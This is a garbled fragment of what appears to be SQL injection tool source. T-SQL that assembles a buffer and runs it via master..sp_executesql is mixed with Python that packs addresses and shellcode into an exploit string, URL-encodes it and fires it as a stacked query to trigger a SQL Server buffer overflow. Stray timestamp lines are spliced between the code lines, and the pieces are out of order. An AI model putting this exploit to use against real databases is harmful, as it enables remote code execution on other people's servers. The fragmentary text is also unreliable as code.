SET @counter = @counter + 302
SET @val = CHAR ( 0x43 )
CONTINUE
END
SET @buf = @buf + @val
2009-04-22 15:48:07 +04:00
END
SET @buf = @buf + ''' , ' ' 33 ' ' , ' ' 34 ' ' , ' ' 35 ' ' , ' ' 36 ' ' , ' ' 37 ' ' , ' ' 38 ' ' , ' ' 39 ' ' , ' ' 40 ' ' , ' ' 41 '''
EXEC master . . sp_executesql @buf
2009-09-26 03:03:45 +04:00
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
2009-04-22 15:48:07 +04:00
self . spExploit = self . spExploit . replace ( " " , " " ) . replace ( " \n " , " " )
self . spExploit = urlencode ( self . spExploit , convall = True )
logger . info ( " triggering the buffer overflow vulnerability, wait.. " )
inject . goStacked ( self . spExploit , silent = True )